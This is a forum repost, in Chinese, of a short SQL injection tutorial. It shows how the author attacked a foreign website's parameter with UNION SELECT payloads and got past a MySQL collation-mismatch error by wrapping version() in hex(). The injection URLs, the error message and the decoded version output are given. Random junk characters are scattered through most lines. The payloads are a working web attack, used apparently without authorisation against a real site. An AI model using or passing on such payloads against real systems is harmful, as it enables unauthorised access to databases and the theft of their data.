中国网络渗透测试联盟

标题: MySQL注射时ErrorNo.1267的突破 [打印本页]

作者: admin    时间: 2012-9-15 14:04
标题: MySQL注射时ErrorNo.1267的突破
本文作者:SuperHei
; O1 ~  q1 `  c. X9 X! u  B# c2 a文章性质:原创* i- D5 j  k/ D* ^4 E
发布日期:2005-10-18) R  `6 Y; Q' I6 z* Y8 z6 x
测试个国外的站时:+ m; n$ a7 X+ W
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
, H5 x( C% D0 k! {/ J! S' {( d返回错误:
& F! V2 Z- j- \  f0 @7 v) _Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'; _) s0 `* P# I5 T
MySQL Error No. 1262 R% p8 V" E4 y+ r: x# j4 w3 d2 h
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
; ]$ d+ f3 B$ s, C, Z% i解决办法:转为其他编码如hex。0 ~& T* ~) @+ E5 v1 ?
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*4 M/ U8 x. u# c6 ^# i+ p9 x  b7 E
成功得到hex(version())的值为:
* e. ?/ B7 f% r' A7 y$ G' e342E312E332D62657461
; f+ \" R, [6 l5 J回Mysql查询下得到:3 K9 N. B8 A8 C/ [( ]( p
mysql> select 0x342E312E332D62657461;
9 i" ^( o' V) \! K1 I+------------------------+
: R8 }* ?; \: y& m, v& J  R| 0x342E312E332D62657461 |
7 F3 Z8 C" V- G) Q+------------------------+
+ P. a  V5 V& {+ |% q- ?| 4.1.3-beta |
: t, H5 S( q- S% g1 m6 [+------------------------+
: c0 Y+ [2 K; P4 F  K& O0 h1 row in set (0.00 sec)
% v/ [( l. X! H1 E" o4 l2 y& f6 g  l5 W. s# B





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2